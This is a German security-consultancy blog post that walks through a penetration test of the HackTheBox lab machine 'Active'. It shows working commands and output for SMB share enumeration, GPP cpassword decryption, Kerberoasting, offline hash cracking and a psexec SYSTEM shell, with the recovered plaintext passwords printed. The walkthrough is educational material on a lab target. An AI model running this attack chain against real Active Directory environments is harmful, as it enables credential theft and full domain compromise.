Qualität

Der professionelle Einbruch

"We are in a cybersecurity arms race, and the hackers are winning. Over the years, we have tested thousands of companies. There is always a way in." (Kevin Mitnick)

Yannik Hollmann
Yannik Hollmann

Consultant

13.12.2021 Lesedauer ca. 9 Min.

Fast die gesamte deutsche Wirtschaft ist einer Studie zufolge von Hackerangriffen betroffen. Im vergangenen Jahr erreichten die verursachten Gesamtschäden einen Rekordwert von 223 Milliarden Euro. 88% der Unternehmen gaben an, Opfer von Angriffen geworden zu sein, verglichen mit 75% in den Vorjahren. Solche Angriffe gefährden sensiblen Daten, was zum Verlust vertrauenswürdiger Kunden und zu schweren Reputationsschäden führt.

Eine geeignete Methode zum Aufdecken von Lücken,über die ein Hackerangriff erfolgen kann, sind Penetrationstests. Als Penetrationstest, kurz Pentest, wird ein umfassender Sicherheitstest von einem oder mehrerer Rechner(-netzwerke) auf mögliche Schwachstellen genannt. Dabei werden die selben Tools und Techniken verwendet, die auch unautorisierte Angreifende (Hacker) benutzen. Penetrationstests können auch eine Möglichkeit sein, die Nachweispflicht der DSGVO zu erfüllen.

In diesem Artikel gehe ich auf die Vorgehensweise von kriminellen Akteuren ein und erkläre an einem praktischen Beispiel, wie Pentester im Auftrag der Eigentümer der Infrastruktur dieselben Schwachstellen aufdecken. Dafür greifen wir eine absichtlich mit Schwachstellen versehene virtuelle Maschine auf der Lernplattform HackTheBox an.

Die Ausgabe der Tools wurde zur besseren Lesbarkeit auf für uns relevante Informationen gekürzt. Zu jedem Thema verlinke ich weiterführende Informationen.

Auskundschaften Auskundschaften

Beim Auskundschaften wird versucht, Informationen über das Ziel herauszufinden, ohne eine direkte Verbindung herzustellen. Dabei interessiert uns unter anderem:

  • alte / geänderte Versionen der Webseite auf Waybackmachine ansehen (1)

  • IP-Adressen der Organisation herausfinden

  • Unternehmensstruktur auf Social Media herausfinden

  • Kontaktdaten von Mitarbeitenden für Phishing Angriffe sammeln (2)

Bei einem Pentest wird aus rechtlichen Gründen vorher festgelegt, welche Systeme angegriffen werden dürfen. In unserem Beispiel ist das die VM mit dem Namen “Active”, erreichbar im HackTheBox-VPN unter der IP-Adresse 10.10.10.100.

Abtasten Abtasten

Beim Abtasten stellen wir das erste Mal eine direkte Verbindung zum Ziel her. Aufteilen kann man dieses Vorgehen in folgende Arten:

  • Network Scanning - von außen erreichbare Geräte innerhalb eines Netzwerkes finden

  • Port Scanning - auf gefundenen Geräten angebotene Dienste identifizieren

  • Vulnerability Scanning - bereits bekannte Schwachstellen entdecken

Wir beginnen mit einem Portscan gegen unsere VM.

$ nmap -sV -sC -p- 10.10.10.100

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2018-09-13 21:01:03Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb)
445/tcp   open  microsoft-ds?

Nmap (3) liefert uns eine Liste von offenen Ports und den Versionsnummern der angebotenen Dienste. Da DNS(Port 53), kerberos(Port 88) und LDAP(Port 389) offen sind, liegt die Vermutung nahe, dass es sich bei dem System um einen Active Directory Domain Controller handelt. Als erstes werden wir uns im nächsten Schritt dem SMB Service auf Port 445 widmen.

Angreifen Angreifen

Nutzer Rechte

Beim Angreifen stellen wir uns folgende Fragen:

  • Welches Gerät ist am schwächsten gesichert?

  • Welche Schwachstelle lässt sich am einfachsten ausnutzen?

  • Welcher Angriff bietet größtmöglichen Erfolg?

Beim Abtasten haben wir herausgefunden, dass “Active” den SMB-Dienst anbietet. SMB ist ein Filesharing-Protokoll und die erste Wahl, wenn Windows Systeme anderen Rechnern im Netzwerk Zugriff auf Dateien erlauben möchte. Daher untersuchen wir im Folgenden, auf welche Verzeichnisse und Dateien wir Zugriff haben. (4)

$ python smbmap.py -H 10.10.10.100 -d active.htb

Disk          Permissions
----          -----------
ADMIN$        NO ACCESS
C$            NO ACCESS
IPC$          NO ACCESS
NETLOGON      NO ACCESS
Replication   READ ONLY
SYSVOL        NO ACCESS
Users         NO ACCESS

Da “Replication” das einzige Verzeichnis ist, welches wir Auslesen können, verbinden wir uns damit und laden uns alle Dateien für eine einfachere Analyse herunter. Dafür aktivieren wir das rekursive Durchsuchen aller Ordner (“recurse ON”), deaktivieren die Bestätigung für jede einzelne Datei (“prompt OFF”) und starten den Download (“mget *"). (5)

$ smbclient \\\\10.10.10.100\\Replication

smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

Bei der Durchsicht der heruntergeladenen Dateien stoßen wir auf ein Backup einer Active Directory Gruppenrichtlinie:

<?xml version="1.0" encoding="utf-8"?>
	<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
		<User 
			clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
			name="active.htb\SVC_TGS"
			image="2"
			changed="2018-07-18 20:46:06"
			uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}">
			<Properties 
				action="U"
				newName=""
				fullName=""
				description=""
				cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
				changeLogon="0"
				noChange="1"
				neverExpires="1"
				acctDisabled="0"
				userName="active.htb\SVC_TGS"/>
		</User>
	</Groups>

In Active Directory-Umgebungen können Administratoren Richtlinien definieren, um Einstellungen auf Clients zu ändern. Diese verbinden sich regelmäßig mit dem Domain Controller, um die vom Administrator definierten Einstellungen herunterzuladen.

Zu diesen Einstellungen gehört das Passwort eines lokalen Benutzers auf dem Client. Diese Funktion ist hilfreich, um beispielsweise lokale Administratorkonten für die gesamte Domäne zu verwalten. Da das Passwort bis Windows Server 2008 mit einem statischen, öffentlich bekannten 32-Bit-Key verschlüsselt wurde (6), können wir es mithilfe des gpp-decrypt (7) Tools auslesen:

$ gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

GPPstillStandingStrong2k18

Wir haben jetzt also das Klartext-Passwort “GPPstillStandingStrong2k18” für den SVC_TGS Nutzer. Wenn wir diese zur Authentifizierung beim SMB Dienst nutzen, bekommen wir Lesezugriff auf weitere Verzeichnisse, inklusive dem privaten Users-Ordner:

$ python smbmap.py -H 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18

Disk          Permissions
----          -----------
ADMIN$        NO ACCESS
C$            NO ACCESS
IPC$          NO ACCESS
NETLOGON      READ ONLY
Replication   READ ONLY
SYSVOL        READ ONLY
Users         READ ONLY

Administrator Rechte

Als Nächstes versuchen wir Administrator-Rechte zu erlangen. Dafür benutzen wir unsere gerade erlangten Zugangsdaten, um alle in dem Active Directory verfügbaren Benutzer aufzulisten:

$ python windapsearch.py --dc-ip 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18 -U

[+] Enumerating all AD users
[+] Found 4 users:

cn: Administrator
cn: Guest
cn: krbtgt
cn: SVC_TGS
userPrincipalName: SVC_TGS@active.htb

Von Interesse sind das Administrator-Konto und der “krbtgt”-Benutzer. Active Directory nutzt Kerberos (8) zur Authentifikation. Damit nicht bei jeder Anfrage an einen Service innerhalb der Domäne die Zugangsdaten mitgeschickt werden müssen, verwendet Kerberos sogenannte Tickets.

Wenn ein Benutzer zum Beispiel Zugriff zu einem geschützten Webserver erhalten möchte, muss dieser sich zuerst bei dem Domain Controller authentifizieren. Wenn das erfolgreich geschehen ist, bekommt der Benutzer ein Service Ticket vom Domain Controller. Dieses Service Ticket ist im übertragenen Sinne die Eintrittskarte zum Webserver. Der Domain Controller verschlüsselt das Service Ticket mit dem Passwort-Hash von dem Account, der den Webserver betreibt. Damit kann dieser Account sichergehen, dass das Ticket vom Domain Controller ausgestellt wurde.

Da jeder Domain Benutzer so ein Service Ticket anfragen kann, benutzen wir unseren SVC_TGS Account, um eine Liste von Benutzerkonten zu bekommen, die einen Service zur Verfügung stellen. Dann fordern wir ein Service Ticket an, um den Passwort-Hash des jeweiligen Accounts zu bekommen. Diese Technik nennt man auch “Kerberoasting”. (9) (10)

$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies

ServicePrincipalName  Name         
--------------------  -------------
active/CIFS:445       Administrator

$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$09a16612e21d8979ea1a2025ae9bc848$405...

Wir finden heraus, dass die SMB Netzwerkfreigabe aus den vorherigen Schritten von dem Administrator Account betrieben wird. Da wir nun auch über den Passwort-Hash (11) für diesen Account verfügen, versuchen wir diesen zu cracken.

Dafür nutzen wir John The Ripper. (12) Wir übergeben dem Tool den in der “krb.txt”-Datei gespeicherten Hash und eine Liste mit Klartextpasswörtern. JTR wendet auf jedes in der Liste vorhandene Passwort denselben Hashing-Algorithmus an, wie Kerberos ihn für das Service Ticket benutzt hat. Dann wird verglichen, ob die beiden Hashes übereinstimmen. Wenn das der Fall ist, haben wir das ursprüngliche Administrator Passwort gefunden.

$ john krb.txt --wordlist=/usr/share/wordlists/rockyou.txt

Ticketmaster1968

Wir kennen jetzt das Passwort “Ticketmaster1968” für das Administrator-Konto. Mit diesen Zugangsdaten können wir uns direkt an “Active” anmelden (13) und verfügen über ein Terminal mit Administrator-Rechten:

$ python psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd

[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file lRSucApr.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service eMOD on 10.10.10.100.....
[*] Starting service eMOD.....
[!] Press help for extra shell commands

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

whoami
nt authority\system

Festsetzen und Tarnen Festsetzen und Tarnen

Beim Festsetzen wollen wir uns eine Hintertür in Systeme offen halten, in die wir bereits eingedrungen sind. Das kann zum Beispiel durch Einspielen von Software passieren, die uns einen späteren Zugang vereinfacht, ohne alle Schwachstellen erneut ausnutzen zu müssen. Ein weiterer Schritt ist das Verwischen von Spuren. Dafür werden unter anderem die benutzten Tools und Logs, die unsere Handlungen dokumentiert haben, vom System entfernt.

In unserem praktischen Beispiel ist dies aber nicht mehr notwendig, da wir das System bereits vollständig kompromittiert haben. Der Penetration Test ist hier also abgeschlossen.

Fazit Fazit

Wir sind zusammen alle Schritte eines Penetration Tests durchgegangen und haben sie, soweit möglich, an einem praktischen Beispiel angewandt. Der beschriebene Weg zur Kompromittierung eines Systems zeigt die typische Vorgehensweise auf, die auch ein Hacker wählen könnte.

Aufgabe des Pentester ist es, die vor ihm liegenden Technologien so gut zu verstehen, dass mögliche Schwachstellen aufgedeckt und ausgenutzt werden können, ohne einen bleibenden Schaden zu hinterlassen. Die gesammelten Erkenntnisse werden zusammen mit dem Kunden aufgearbeitet und so eine sicherere Infrastruktur gewährleistet.

Erfahren Sie mehr über mögliche Sicherheitslücken Ihrer IT und kommen Sie ins Gespräch mit mir und unseren IT-Security Experten von governance2compliance – denn: There’s always a way in!

Quellen

Über Yannik Hollmann

Yannik Hollmann
Yannik Hollmann

Consultant bei der frobese GmbH